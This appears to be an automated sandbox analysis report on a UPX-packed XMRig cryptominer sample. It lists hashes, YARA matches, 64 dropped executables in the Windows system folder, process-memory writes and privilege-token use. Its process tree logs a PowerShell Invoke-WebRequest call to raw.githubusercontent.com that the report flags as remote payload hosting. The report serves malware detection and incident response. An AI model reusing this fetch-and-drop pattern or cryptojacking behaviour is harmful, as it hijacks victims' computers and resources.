xmrig | 786dda9eaf243e3ae6250f486a94b03ac398c664f4e46b43453e38711bee4716

Analysis

max time kernel
42s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
01/05/2024, 06:32

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
Size

1.9MB
MD5

0b460da0df920caffe818c1bc5af4eab
SHA1

1d8ab2676e3539447e0e5c55ba92697cb91cfd33
SHA256

786dda9eaf243e3ae6250f486a94b03ac398c664f4e46b43453e38711bee4716
SHA512

33c63b9a6d996938ddda23af6fd5aa55e26479b9068f56eebca68c5ee8b6a93f00b6e6075bf78bb41413f28aef244ec47771aeefdd09967bfb8839303c0254f7
SSDEEP

49152:Lz071uv4BPMkibTIA5KIP7nTrmBhihM5xC+U4:NABX

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral2/memory/2696-23-0x00007FF7915E0000-0x00007FF7919D2000-memory.dmp	xmrig
behavioral2/memory/684-100-0x00007FF7684A0000-0x00007FF768892000-memory.dmp	xmrig
behavioral2/memory/5084-104-0x00007FF7546B0000-0x00007FF754AA2000-memory.dmp	xmrig
behavioral2/memory/4224-106-0x00007FF6EEAA0000-0x00007FF6EEE92000-memory.dmp	xmrig
behavioral2/memory/3556-108-0x00007FF72F280000-0x00007FF72F672000-memory.dmp	xmrig
behavioral2/memory/928-107-0x00007FF71E9F0000-0x00007FF71EDE2000-memory.dmp	xmrig
behavioral2/memory/4792-105-0x00007FF6D01A0000-0x00007FF6D0592000-memory.dmp	xmrig
behavioral2/memory/1288-98-0x00007FF6C6C40000-0x00007FF6C7032000-memory.dmp	xmrig
behavioral2/memory/1580-72-0x00007FF7C8BB0000-0x00007FF7C8FA2000-memory.dmp	xmrig
behavioral2/memory/4888-71-0x00007FF6C54F0000-0x00007FF6C58E2000-memory.dmp	xmrig
behavioral2/memory/1560-128-0x00007FF73A460000-0x00007FF73A852000-memory.dmp	xmrig
behavioral2/memory/1372-144-0x00007FF712BE0000-0x00007FF712FD2000-memory.dmp	xmrig
behavioral2/memory/2400-146-0x00007FF78CB20000-0x00007FF78CF12000-memory.dmp	xmrig
behavioral2/memory/820-147-0x00007FF7EBF50000-0x00007FF7EC342000-memory.dmp	xmrig
behavioral2/memory/3952-120-0x00007FF6B7300000-0x00007FF6B76F2000-memory.dmp	xmrig
behavioral2/memory/4104-564-0x00007FF7769D0000-0x00007FF776DC2000-memory.dmp	xmrig
behavioral2/memory/1620-2017-0x00007FF78FF20000-0x00007FF790312000-memory.dmp	xmrig
behavioral2/memory/4888-2033-0x00007FF6C54F0000-0x00007FF6C58E2000-memory.dmp	xmrig
behavioral2/memory/928-2053-0x00007FF71E9F0000-0x00007FF71EDE2000-memory.dmp	xmrig
behavioral2/memory/728-2125-0x00007FF79D5B0000-0x00007FF79D9A2000-memory.dmp	xmrig
behavioral2/memory/3952-2115-0x00007FF6B7300000-0x00007FF6B76F2000-memory.dmp	xmrig
behavioral2/memory/1580-2114-0x00007FF7C8BB0000-0x00007FF7C8FA2000-memory.dmp	xmrig
behavioral2/memory/5084-2113-0x00007FF7546B0000-0x00007FF754AA2000-memory.dmp	xmrig
behavioral2/memory/2696-2112-0x00007FF7915E0000-0x00007FF7919D2000-memory.dmp	xmrig
behavioral2/memory/2400-2485-0x00007FF78CB20000-0x00007FF78CF12000-memory.dmp	xmrig
behavioral2/memory/3556-2117-0x00007FF72F280000-0x00007FF72F672000-memory.dmp	xmrig
behavioral2/memory/684-2111-0x00007FF7684A0000-0x00007FF768892000-memory.dmp	xmrig
behavioral2/memory/4104-2094-0x00007FF7769D0000-0x00007FF776DC2000-memory.dmp	xmrig
behavioral2/memory/1288-2041-0x00007FF6C6C40000-0x00007FF6C7032000-memory.dmp	xmrig
behavioral2/memory/4792-2047-0x00007FF6D01A0000-0x00007FF6D0592000-memory.dmp	xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
11	3216	powershell.exe
13	3216	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
3952	NCQRBuv.exe
4104	jxCrVYR.exe
2696	RhKDNcz.exe
2428	NqSFRWn.exe
728	wqtYoUE.exe
1288	epKzQlX.exe
4888	XAMxkCJ.exe
1580	rRYXRiN.exe
1620	XmdBLSw.exe
684	UPqkEWJ.exe
5084	dZacUQu.exe
928	kykDVke.exe
4792	Jzoyqyf.exe
3556	hmOzHcL.exe
4224	XgIoZgg.exe
1228	eCNorOs.exe
1560	XVfapAZ.exe
2400	yRTDMva.exe
1408	aJmHpMo.exe
5100	SLWlgTz.exe
820	HPezCAR.exe
2000	uFpoXlb.exe
5000	ZLLaLcW.exe
2504	CdATnlP.exe
3800	kwvcrDo.exe
64	xrZVtvc.exe
4532	ZVliKyV.exe
1736	rprbuqt.exe
1380	ldJULIp.exe
2772	ABbYjNm.exe
1816	VUGUyPu.exe
4564	efANxxq.exe
1364	ODdpLiz.exe
2804	DIEAcMQ.exe
4372	frWzykM.exe
4732	iZASZvZ.exe
2584	MdCbqXe.exe
3708	WeNWXSp.exe
3592	EmjocKe.exe
3132	bsIMony.exe
4464	MVkVUYY.exe
3968	ZuAdGjG.exe
1148	PxNhfie.exe
4452	UIJcXkR.exe
4476	RETVOTp.exe
892	uPJOnqt.exe
2640	SCDFSMN.exe
1992	cyIHhNi.exe
1188	UCaeBuk.exe
2164	sqoxPrw.exe
2324	TaXpnLN.exe
1684	UvIXcIB.exe
3484	KzKeKGQ.exe
3180	JHvIhMf.exe
4724	UuWmoqU.exe
60	kJGHqNj.exe
2556	RSNjzCr.exe
2092	rJCtdXP.exe
5036	bcHJlQi.exe
3496	aAnnqoq.exe
4264	dlTWYaz.exe
4508	TCfYYSu.exe
4404	QIAyyoV.exe
4284	rEjPerU.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1372-0-0x00007FF712BE0000-0x00007FF712FD2000-memory.dmp	upx
behavioral2/files/0x000800000002325a-5.dat	upx
behavioral2/files/0x0008000000023260-8.dat	upx
behavioral2/files/0x000800000002325d-10.dat	upx
behavioral2/memory/3952-9-0x00007FF6B7300000-0x00007FF6B76F2000-memory.dmp	upx
behavioral2/memory/4104-19-0x00007FF7769D0000-0x00007FF776DC2000-memory.dmp	upx
behavioral2/memory/2696-23-0x00007FF7915E0000-0x00007FF7919D2000-memory.dmp	upx
behavioral2/files/0x0008000000023262-26.dat	upx
behavioral2/files/0x0007000000023263-27.dat	upx
behavioral2/memory/728-31-0x00007FF79D5B0000-0x00007FF79D9A2000-memory.dmp	upx
behavioral2/files/0x000800000002325e-52.dat	upx
behavioral2/files/0x0007000000023265-57.dat	upx
behavioral2/files/0x0007000000023264-51.dat	upx
behavioral2/files/0x0008000000023266-73.dat	upx
behavioral2/files/0x0007000000023268-77.dat	upx
behavioral2/files/0x0008000000023267-84.dat	upx
behavioral2/files/0x000700000002326a-91.dat	upx
behavioral2/files/0x000700000002326b-95.dat	upx
behavioral2/memory/684-100-0x00007FF7684A0000-0x00007FF768892000-memory.dmp	upx
behavioral2/memory/5084-104-0x00007FF7546B0000-0x00007FF754AA2000-memory.dmp	upx
behavioral2/memory/4224-106-0x00007FF6EEAA0000-0x00007FF6EEE92000-memory.dmp	upx
behavioral2/memory/3556-108-0x00007FF72F280000-0x00007FF72F672000-memory.dmp	upx
behavioral2/memory/1228-109-0x00007FF600CC0000-0x00007FF6010B2000-memory.dmp	upx
behavioral2/memory/928-107-0x00007FF71E9F0000-0x00007FF71EDE2000-memory.dmp	upx
behavioral2/memory/4792-105-0x00007FF6D01A0000-0x00007FF6D0592000-memory.dmp	upx
behavioral2/files/0x000700000002326d-103.dat	upx
behavioral2/memory/1288-98-0x00007FF6C6C40000-0x00007FF6C7032000-memory.dmp	upx
behavioral2/files/0x000700000002326c-96.dat	upx
behavioral2/files/0x0007000000023269-93.dat	upx
behavioral2/memory/1620-76-0x00007FF78FF20000-0x00007FF790312000-memory.dmp	upx
behavioral2/memory/1580-72-0x00007FF7C8BB0000-0x00007FF7C8FA2000-memory.dmp	upx
behavioral2/memory/4888-71-0x00007FF6C54F0000-0x00007FF6C58E2000-memory.dmp	upx
behavioral2/memory/2428-25-0x00007FF6D39E0000-0x00007FF6D3DD2000-memory.dmp	upx
behavioral2/files/0x000700000002326e-116.dat	upx
behavioral2/files/0x0007000000023270-123.dat	upx
behavioral2/memory/1560-128-0x00007FF73A460000-0x00007FF73A852000-memory.dmp	upx
behavioral2/files/0x0007000000023273-136.dat	upx
behavioral2/memory/1372-144-0x00007FF712BE0000-0x00007FF712FD2000-memory.dmp	upx
behavioral2/files/0x0007000000023274-145.dat	upx
behavioral2/memory/2400-146-0x00007FF78CB20000-0x00007FF78CF12000-memory.dmp	upx
behavioral2/memory/820-147-0x00007FF7EBF50000-0x00007FF7EC342000-memory.dmp	upx
behavioral2/memory/5100-142-0x00007FF6D7A60000-0x00007FF6D7E52000-memory.dmp	upx
behavioral2/files/0x0007000000023275-151.dat	upx
behavioral2/files/0x0007000000023276-158.dat	upx
behavioral2/memory/1408-134-0x00007FF6D5550000-0x00007FF6D5942000-memory.dmp	upx
behavioral2/files/0x0007000000023272-133.dat	upx
behavioral2/files/0x0007000000023271-131.dat	upx
behavioral2/memory/3952-120-0x00007FF6B7300000-0x00007FF6B76F2000-memory.dmp	upx
behavioral2/files/0x0007000000023277-164.dat	upx
behavioral2/files/0x0007000000023278-168.dat	upx
behavioral2/files/0x0007000000023279-174.dat	upx
behavioral2/files/0x000700000002327a-177.dat	upx
behavioral2/files/0x000700000002327b-184.dat	upx
behavioral2/files/0x000700000002327c-189.dat	upx
behavioral2/files/0x000700000002327d-193.dat	upx
behavioral2/files/0x000700000002327e-196.dat	upx
behavioral2/files/0x000700000002327f-200.dat	upx
behavioral2/memory/4104-564-0x00007FF7769D0000-0x00007FF776DC2000-memory.dmp	upx
behavioral2/memory/1620-2017-0x00007FF78FF20000-0x00007FF790312000-memory.dmp	upx
behavioral2/memory/4888-2033-0x00007FF6C54F0000-0x00007FF6C58E2000-memory.dmp	upx
behavioral2/memory/928-2053-0x00007FF71E9F0000-0x00007FF71EDE2000-memory.dmp	upx
behavioral2/memory/728-2125-0x00007FF79D5B0000-0x00007FF79D9A2000-memory.dmp	upx
behavioral2/memory/3952-2115-0x00007FF6B7300000-0x00007FF6B76F2000-memory.dmp	upx
behavioral2/memory/1580-2114-0x00007FF7C8BB0000-0x00007FF7C8FA2000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
10	raw.githubusercontent.com
11	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\DzMIqNv.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\syjaSSR.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\fnwyoSq.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\EmjocKe.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\aRTKqur.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\fYSAwat.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\xedvCPw.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\qmqXqVC.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\UzoOvBg.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\rEjPerU.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\alAgKCk.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\PLoSypr.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\LlxYYux.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\XpVXgMs.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\pLnPUZu.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\XmdBLSw.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\HnGbdZQ.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\lkRTKTp.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\czdlplx.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\UvIXcIB.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\pmMSPKk.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\EJbuvmM.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\RETVOTp.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\rJCtdXP.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\TGjWjBq.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\ZAisQRD.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\hHPElHZ.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\NLvQNxq.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\pWPXmbl.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\wQNMvaU.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\ZMOqUvr.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\dqTaDlM.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\mqUWwuN.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\XAMxkCJ.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\fAyYSSd.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\InvmvfD.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\tSavawc.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\uhAYKfY.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\WWAvpHh.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\LquaThy.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\bCZNbEK.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\YorEDFz.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\uFpoXlb.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\dgjgsqv.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\qEpecgo.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\mjSuzaq.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\VJbZlRm.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\IWCcGKG.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\KbSdmSY.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\llrYuTu.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\frWzykM.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\jCzBYcr.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\RPxRyhZ.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\bKIOQdc.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\soHyKSP.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\RlDnmLw.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\mLOXAME.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\MdCbqXe.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\pFQAiGh.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\SADUsQD.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\vCyrpEa.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\gCHwzmh.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\rQsOLYL.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
File created	C:\Windows\System\zhJiyyN.exe	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3216	powershell.exe
3216	powershell.exe
3216	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
Token: SeLockMemoryPrivilege	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
Token: SeDebugPrivilege	3216	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1372 wrote to memory of 3216	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	93
PID 1372 wrote to memory of 3216	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	93
PID 1372 wrote to memory of 3952	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	94
PID 1372 wrote to memory of 3952	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	94
PID 1372 wrote to memory of 4104	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	95
PID 1372 wrote to memory of 4104	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	95
PID 1372 wrote to memory of 2696	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	96
PID 1372 wrote to memory of 2696	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	96
PID 1372 wrote to memory of 2428	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	97
PID 1372 wrote to memory of 2428	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	97
PID 1372 wrote to memory of 728	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	98
PID 1372 wrote to memory of 728	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	98
PID 1372 wrote to memory of 1288	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	99
PID 1372 wrote to memory of 1288	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	99
PID 1372 wrote to memory of 4888	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	100
PID 1372 wrote to memory of 4888	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	100
PID 1372 wrote to memory of 1580	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	101
PID 1372 wrote to memory of 1580	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	101
PID 1372 wrote to memory of 1620	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	102
PID 1372 wrote to memory of 1620	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	102
PID 1372 wrote to memory of 5084	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	103
PID 1372 wrote to memory of 5084	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	103
PID 1372 wrote to memory of 684	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	104
PID 1372 wrote to memory of 684	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	104
PID 1372 wrote to memory of 4792	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	105
PID 1372 wrote to memory of 4792	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	105
PID 1372 wrote to memory of 928	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	106
PID 1372 wrote to memory of 928	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	106
PID 1372 wrote to memory of 3556	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	107
PID 1372 wrote to memory of 3556	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	107
PID 1372 wrote to memory of 4224	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	108
PID 1372 wrote to memory of 4224	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	108
PID 1372 wrote to memory of 1228	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	109
PID 1372 wrote to memory of 1228	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	109
PID 1372 wrote to memory of 1560	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	110
PID 1372 wrote to memory of 1560	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	110
PID 1372 wrote to memory of 2400	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	111
PID 1372 wrote to memory of 2400	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	111
PID 1372 wrote to memory of 1408	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	112
PID 1372 wrote to memory of 1408	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	112
PID 1372 wrote to memory of 5100	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	113
PID 1372 wrote to memory of 5100	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	113
PID 1372 wrote to memory of 820	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	114
PID 1372 wrote to memory of 820	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	114
PID 1372 wrote to memory of 2000	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	115
PID 1372 wrote to memory of 2000	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	115
PID 1372 wrote to memory of 5000	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	116
PID 1372 wrote to memory of 5000	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	116
PID 1372 wrote to memory of 2504	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	117
PID 1372 wrote to memory of 2504	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	117
PID 1372 wrote to memory of 3800	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	118
PID 1372 wrote to memory of 3800	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	118
PID 1372 wrote to memory of 64	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	119
PID 1372 wrote to memory of 64	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	119
PID 1372 wrote to memory of 4532	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	120
PID 1372 wrote to memory of 4532	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	120
PID 1372 wrote to memory of 1736	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	121
PID 1372 wrote to memory of 1736	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	121
PID 1372 wrote to memory of 1380	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	122
PID 1372 wrote to memory of 1380	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	122
PID 1372 wrote to memory of 2772	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	123
PID 1372 wrote to memory of 2772	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	123
PID 1372 wrote to memory of 1816	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	124
PID 1372 wrote to memory of 1816	1372	0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe	124

C:\Users\Admin\AppData\Local\Temp\0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\0b460da0df920caffe818c1bc5af4eab_JaffaCakes118.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3216
- C:\Windows\System\NCQRBuv.exe
  C:\Windows\System\NCQRBuv.exe
  2⤵
  - Executes dropped EXE
  PID:3952
- C:\Windows\System\jxCrVYR.exe
  C:\Windows\System\jxCrVYR.exe
  2⤵
  - Executes dropped EXE
  PID:4104
- C:\Windows\System\RhKDNcz.exe
  C:\Windows\System\RhKDNcz.exe
  2⤵
  - Executes dropped EXE
  PID:2696
- C:\Windows\System\NqSFRWn.exe
  C:\Windows\System\NqSFRWn.exe
  2⤵
  - Executes dropped EXE
  PID:2428
- C:\Windows\System\wqtYoUE.exe
  C:\Windows\System\wqtYoUE.exe
  2⤵
  - Executes dropped EXE
  PID:728
- C:\Windows\System\epKzQlX.exe
  C:\Windows\System\epKzQlX.exe
  2⤵
  - Executes dropped EXE
  PID:1288
- C:\Windows\System\XAMxkCJ.exe
  C:\Windows\System\XAMxkCJ.exe
  2⤵
  - Executes dropped EXE
  PID:4888
- C:\Windows\System\rRYXRiN.exe
  C:\Windows\System\rRYXRiN.exe
  2⤵
  - Executes dropped EXE
  PID:1580
- C:\Windows\System\XmdBLSw.exe
  C:\Windows\System\XmdBLSw.exe
  2⤵
  - Executes dropped EXE
  PID:1620
- C:\Windows\System\dZacUQu.exe
  C:\Windows\System\dZacUQu.exe
  2⤵
  - Executes dropped EXE
  PID:5084
- C:\Windows\System\UPqkEWJ.exe
  C:\Windows\System\UPqkEWJ.exe
  2⤵
  - Executes dropped EXE
  PID:684
- C:\Windows\System\Jzoyqyf.exe
  C:\Windows\System\Jzoyqyf.exe
  2⤵
  - Executes dropped EXE
  PID:4792
- C:\Windows\System\kykDVke.exe
  C:\Windows\System\kykDVke.exe
  2⤵
  - Executes dropped EXE
  PID:928
- C:\Windows\System\hmOzHcL.exe
  C:\Windows\System\hmOzHcL.exe
  2⤵
  - Executes dropped EXE
  PID:3556
- C:\Windows\System\XgIoZgg.exe
  C:\Windows\System\XgIoZgg.exe
  2⤵
  - Executes dropped EXE
  PID:4224
- C:\Windows\System\eCNorOs.exe
  C:\Windows\System\eCNorOs.exe
  2⤵
  - Executes dropped EXE
  PID:1228
- C:\Windows\System\XVfapAZ.exe
  C:\Windows\System\XVfapAZ.exe
  2⤵
  - Executes dropped EXE
  PID:1560
- C:\Windows\System\yRTDMva.exe
  C:\Windows\System\yRTDMva.exe
  2⤵
  - Executes dropped EXE
  PID:2400
- C:\Windows\System\aJmHpMo.exe
  C:\Windows\System\aJmHpMo.exe
  2⤵
  - Executes dropped EXE
  PID:1408
- C:\Windows\System\SLWlgTz.exe
  C:\Windows\System\SLWlgTz.exe
  2⤵
  - Executes dropped EXE
  PID:5100
- C:\Windows\System\HPezCAR.exe
  C:\Windows\System\HPezCAR.exe
  2⤵
  - Executes dropped EXE
  PID:820
- C:\Windows\System\uFpoXlb.exe
  C:\Windows\System\uFpoXlb.exe
  2⤵
  - Executes dropped EXE
  PID:2000
- C:\Windows\System\ZLLaLcW.exe
  C:\Windows\System\ZLLaLcW.exe
  2⤵
  - Executes dropped EXE
  PID:5000
- C:\Windows\System\CdATnlP.exe
  C:\Windows\System\CdATnlP.exe
  2⤵
  - Executes dropped EXE
  PID:2504
- C:\Windows\System\kwvcrDo.exe
  C:\Windows\System\kwvcrDo.exe
  2⤵
  - Executes dropped EXE
  PID:3800
- C:\Windows\System\xrZVtvc.exe
  C:\Windows\System\xrZVtvc.exe
  2⤵
  - Executes dropped EXE
  PID:64
- C:\Windows\System\ZVliKyV.exe
  C:\Windows\System\ZVliKyV.exe
  2⤵
  - Executes dropped EXE
  PID:4532
